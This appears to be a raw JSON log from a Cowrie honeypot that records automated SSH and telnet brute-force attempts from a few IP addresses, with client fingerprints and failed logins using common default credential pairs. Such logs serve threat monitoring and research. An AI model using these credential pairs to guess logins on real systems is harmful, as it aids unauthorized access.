ssage":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:51.797507Z","src_ip":"192.109.200.78","session":"7ad4f5b801a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:52.056173Z","src_ip":"192.109.200.78","session":"7ad4f5b801a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:53.140486Z","src_ip":"192.109.200.78","session":"7ad4f5b801a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57082,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b48ab93b2a9","protocol":"ssh","message":"New connection: 192.109.200.78:57082 (10.17.0.5:22) [session: 8b48ab93b2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:55.891702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:55.897184Z","src_ip":"192.109.200.78","session":"8b48ab93b2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:55.989683Z","src_ip":"192.109.200.78","session":"8b48ab93b2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:56.240742Z","src_ip":"192.109.200.78","session":"8b48ab93b2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:57.334569Z","src_ip":"192.109.200.78","session":"8b48ab93b2a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48230,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc4dc5960f0","protocol":"ssh","message":"New connection: 192.109.200.78:48230 (10.17.0.5:22) [session: 2dc4dc5960f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:59.846534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:59.956769Z","src_ip":"192.109.200.78","session":"2dc4dc5960f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:59.960374Z","src_ip":"192.109.200.78","session":"2dc4dc5960f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:00.345042Z","src_ip":"192.109.200.78","session":"2dc4dc5960f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:01.431238Z","src_ip":"192.109.200.78","session":"2dc4dc5960f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48236,"dst_ip":"10.17.0.5","dst_port":22,"session":"075f65f67ca8","protocol":"ssh","message":"New connection: 192.109.200.78:48236 (10.17.0.5:22) [session: 075f65f67ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:04.147092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:04.152730Z","src_ip":"192.109.200.78","session":"075f65f67ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:04.236893Z","src_ip":"192.109.200.78","session":"075f65f67ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:04.488758Z","src_ip":"192.109.200.78","session":"075f65f67ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":37204,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb5d5b4019e5","protocol":"telnet","message":"New connection: 5.42.229.203:37204 (159.203.135.109:23) [session: bb5d5b4019e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:04.555202Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":37246,"dst_ip":"159.203.135.109","dst_port":23,"session":"a851d3ed9927","protocol":"telnet","message":"New connection: 5.42.229.203:37246 (159.203.135.109:23) [session: a851d3ed9927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:04.628084Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:05.758087Z","src_ip":"192.109.200.78","session":"075f65f67ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53236,"dst_ip":"10.17.0.5","dst_port":22,"session":"062c46da4b58","protocol":"ssh","message":"New connection: 192.109.200.78:53236 (10.17.0.5:22) [session: 062c46da4b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:08.478258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:08.483092Z","src_ip":"192.109.200.78","session":"062c46da4b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:08.567071Z","src_ip":"192.109.200.78","session":"062c46da4b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:08.822558Z","src_ip":"192.109.200.78","session":"062c46da4b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:09.911617Z","src_ip":"192.109.200.78","session":"062c46da4b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53252,"dst_ip":"10.17.0.5","dst_port":22,"session":"021efadee182","protocol":"ssh","message":"New connection: 192.109.200.78:53252 (10.17.0.5:22) [session: 021efadee182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:12.600463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:12.605391Z","src_ip":"192.109.200.78","session":"021efadee182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:12.691259Z","src_ip":"192.109.200.78","session":"021efadee182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:13.195043Z","src_ip":"192.109.200.78","session":"021efadee182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:14.283196Z","src_ip":"192.109.200.78","session":"021efadee182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53254,"dst_ip":"10.17.0.5","dst_port":22,"session":"19411bfa7719","protocol":"ssh","message":"New connection: 192.109.200.78:53254 (10.17.0.5:22) [session: 19411bfa7719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:18.028188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:18.033410Z","src_ip":"192.109.200.78","session":"19411bfa7719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:18.120706Z","src_ip":"192.109.200.78","session":"19411bfa7719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:18.373139Z","src_ip":"192.109.200.78","session":"19411bfa7719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:19.457560Z","src_ip":"192.109.200.78","session":"19411bfa7719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.766089916229248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:20.677819Z","src_ip":"66.113.160.81","session":"7d49846257a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40464,"dst_ip":"10.17.0.5","dst_port":22,"session":"54fcadfaf3af","protocol":"ssh","message":"New connection: 192.109.200.78:40464 (10.17.0.5:22) [session: 54fcadfaf3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:21.210974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:21.289508Z","src_ip":"192.109.200.78","session":"54fcadfaf3af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:21.334682Z","src_ip":"192.109.200.78","session":"54fcadfaf3af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:21.628330Z","src_ip":"192.109.200.78","session":"54fcadfaf3af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:22.718297Z","src_ip":"192.109.200.78","session":"54fcadfaf3af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40478,"dst_ip":"10.17.0.5","dst_port":22,"session":"93d8c483ebb8","protocol":"ssh","message":"New connection: 192.109.200.78:40478 (10.17.0.5:22) [session: 93d8c483ebb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:25.496078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:25.500746Z","src_ip":"192.109.200.78","session":"93d8c483ebb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:25.582460Z","src_ip":"192.109.200.78","session":"93d8c483ebb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:25.834560Z","src_ip":"192.109.200.78","session":"93d8c483ebb8","protocol":"ssh"}
